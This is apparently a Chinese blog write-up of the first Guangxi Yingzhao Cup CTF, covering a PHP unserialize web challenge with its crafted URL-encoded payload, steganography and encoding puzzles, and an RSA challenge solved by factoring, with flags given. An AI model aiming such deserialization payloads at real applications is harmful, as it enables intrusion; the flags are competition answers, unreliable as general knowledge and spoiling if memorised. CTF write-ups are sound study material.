第一届广西英招杯部分WP

参与了广西英招杯,里面的题还蛮有意思,写个博客记录一下解题方法

WEB

Serialize

题目:

 

<?php
error_reporting(0);
include_once("flag.php");
class gxyzb
{
    private $keys;
    public $reals;
    function __wakeup(){
        global $empty;
        global $flag;
        $a->keys = $empty;
        if ($a->keys === $a->reals){
            echo($flag);
        }else{
            echo "retreat!retreat!retreat!";
        }
    }
}
if(isset($_GET['yzb'])){
    $data = $_GET['yzb'];
    unserialize($data);
} else {
    show_source(__FILE__);
    echo 'Welcome to the world of GXZYBCTF2022!';
}
?> Welcome to the world of GXZYBCTF2022!

只有构造这个($a->keys === $a->reals)相等才会输出flag,生成序列化数据

<?php 
  class gxyzb{
  public $keys;
  public $reals;
  public $empty;
  function __construct(){
    $this->reals = '1';
    $this->empty = '1';
  }
}

$a =new gxyzb();
echo urlencode(serialize($a));

把这个值以GET方式传给yzb 

payload:

?yzb=O%3A5%3A%22gxyzb%22%3A3%3A%7Bs%3A4%3A%22keys%22%3BN%3Bs%3A5%3A%22reals%22%3Bs%3A1%3A%221%22%3Bs%3A5%3A%22empty%22%3Bs%3A1%3A%221%22%3B%7D

得到flag

flag(hierarch666_ nc@vt2022 kk!}
 

MICS

寻找宝藏

解压后得到:

打开cipher.txt

得到佛曰,打开普通的佛曰解密是解密不出的,可能需要密钥 

打开航海的梦想.doc

发现什么都没有

word设置显示隐藏 

得到了一张图片

 移开图片发现密钥:ncvt

用佛又曰解密

与佛论禅:佛曰加密解密翻译器及使用教程 | 爱淘数字资源馆 (1itao.com)

 得到Unicode编码

看见0x,使用16进制转字符串

 再用16进制转字符串

得到flag{secrets of pirates} 

谜中谜

解压后得到一个one文件

把one拉入010editor里面发现是一个zip文件

把504B前的全删掉,得到一个压缩包

解压,密码在压缩包注释里面

得到一个密文,是零宽密文 

用网站解密

Offdev.net - Zero-width space steganography javascript demo

得到

C.Trmlnekuay Ibmjacmrs ray Fkmrickars Byumricka ray Iercacan (IFBI) jrd tbba dbefcan rd r ocssre gke ijb okdi-oraybhcm bmkakhcm ebmkfbez, hbbican ijb ybhray gke zkuan oekgbddckarsd dlcssby ray gussz oeboreby gke ijb srtke hrelbi. Caibearickars mkkobericka ray bqmjranbd kg fkmrickars byumricka ray dlcssd ybfbskohbai jrfb ijba tbmkhb r hudi ri oebdbai ik mkhoebjbadcfbsz choekfb ijb wursciz kg IFBI. Dumj mkamboi jrd tbba riirmjby humj chokeiramb ray pbss ybhkadieriby ca TECMD sbrybed "Qcrhba Ybmsrericka", "Xkjraabdtuen Ybmsrericka", "Terdcscr Ybmsrericka", "Hkdmkp Ybmsrericka" ray "Abp Ybsjc Ybmsrericka". Ca keybe ik mkaicaub chosbhbaican ijb mkamboi, (r osrigkeh kg diebanijbacan oreiabedjcod) ray bqmjranbd ka IFBI gke fkmrickars cadiciuickad ray baibeoecdbd ca (TECMD cd abmbddrez). Rnrcadi ijcd trmlyeko, ijb Hcacdiez kg Byumricka kg ijb Obkosb’d Eboutscm kg Mjcar pcss cacicrib ray kenracvb 2022 TECMD Dlcssd Mkhobicicka (jbebcargibe ebgbeeby ik rd ijb Mkhobicicka). Rd r osrigkeh gke IFBI bqmjranbd ca TECMD, ijb Mkhobicicka cd ybycmriby ik grmcscirican ijb rmwucdcicka kg dlcssd ray mkhobibamcbd tz zkuan oekgbddckarsd, rd pbss rd baecmjcan ijb mkkobericka tbipbba fkmrickars cadiciuickad ray baibeoecdbd, rchcan ik oekhkib ijb wursciz ybfbskohbai kg fkmrickars byumricka ca TECMD gsrn cd (ZVTMIG_TZIB_KUI_ZZYD). CC.Caiekyumicka Ijb Mkhobicicka pcss lcml kgg ca srib Hremj, ray mskdb ca Akfbhtbe. Lcml-kgg Mkhobicicka, Iercacan Mrhod ray Gcars Mkhobicicka pcss tb mkhoecdby ca fceiurs ray kggscab gkehrid. Rekuay 20 mkhobican dlcssd pcss tb dbi ca ijb Mkhobicicka (osbrdb ebgbe ik Raabq gke dobmcgcm mkhobican dlcssd scdi), mbaibecan ka gcbsyd camsuycan caibsscnbai hraugrmiuecan ibmjacmrs dlcssd, reicgcmcrs caibsscnbamb ibmjacmrs dlcssd, ycncirs ibmjacmrs dlcssd, bim. IFBI cadiciuickad diuybaid ray ibrmjbed gekh TECMD reb rss pbsmkhb ray bqobmiby ik sbfbs uo ijbce mrortcscicbd ebnreycan caakfricka, mkkeycaricka, kenracvricka, ray mkssrtkericka fcr oreicmcorican ca ijb Mkhobicicka. TECMD Tudcabdd Mkuamcs pcss xkcaisz jkdi ijb Mkhobicicka tz caibnerican cid TECMD Guiueb (Dlcssd Mjrssbanb caik ijb mkaibdi).

用quipquip得到

 flag is (YZBCTF_BYTE_OUT_YYDS) 

剧情大反转

解压后得到

一个图片,拖进010eitor

发现文件非常大,前面是一个png文件,我们搜索png文件的文件尾00 00 00 00 49 45 4E 44 AE 42 60 82 发现后面果然藏着一个文件

拉到文件尾,

 发现是zip文件头504B的倒写,把前面的图片的数据去掉

 然后写一个倒写的py脚本破解

f = open('esrever.zip', 'rb').read()
res = open('esrever2.zip', 'wb')
res.write(f[::-1])

 得到的文件是文本形式,还要在winhex里面复制粘贴选择ascii转换成16进制形式

 用bandzip可以直接解压,得到一个镜像图片

 使用在线镜像转换工具转换

在线旋转图片工具|在线翻转照片|调整照片方向|生成镜像图片 - 改图宝

 

 得到flag:

flag{9f0fd18f89e6b73f05c139b0a9e4c98}

Crypto

简单rsa

 解压后得到

先把n分解为两个素数相乘

 分解为p=247584441478617843244733947,q=17223123123987172123123136363611

用python脚本直接解出rsa算法

import gmpy2
import binascii

e = 89711
n = 4264177319169831744815469673790679137257655640358747202617
c = 2395996868904835874906960174284885776479399639913587352175
p = 247584441478617843244733947
q = 17223123123987172123123136363611

phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)

print(binascii.unhexlify(hex(m)[2:]))

 

解得: 

b'Welcome_t@_2022ZybCtf!'

flag{Welcome_t@_2022ZybCtf!}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值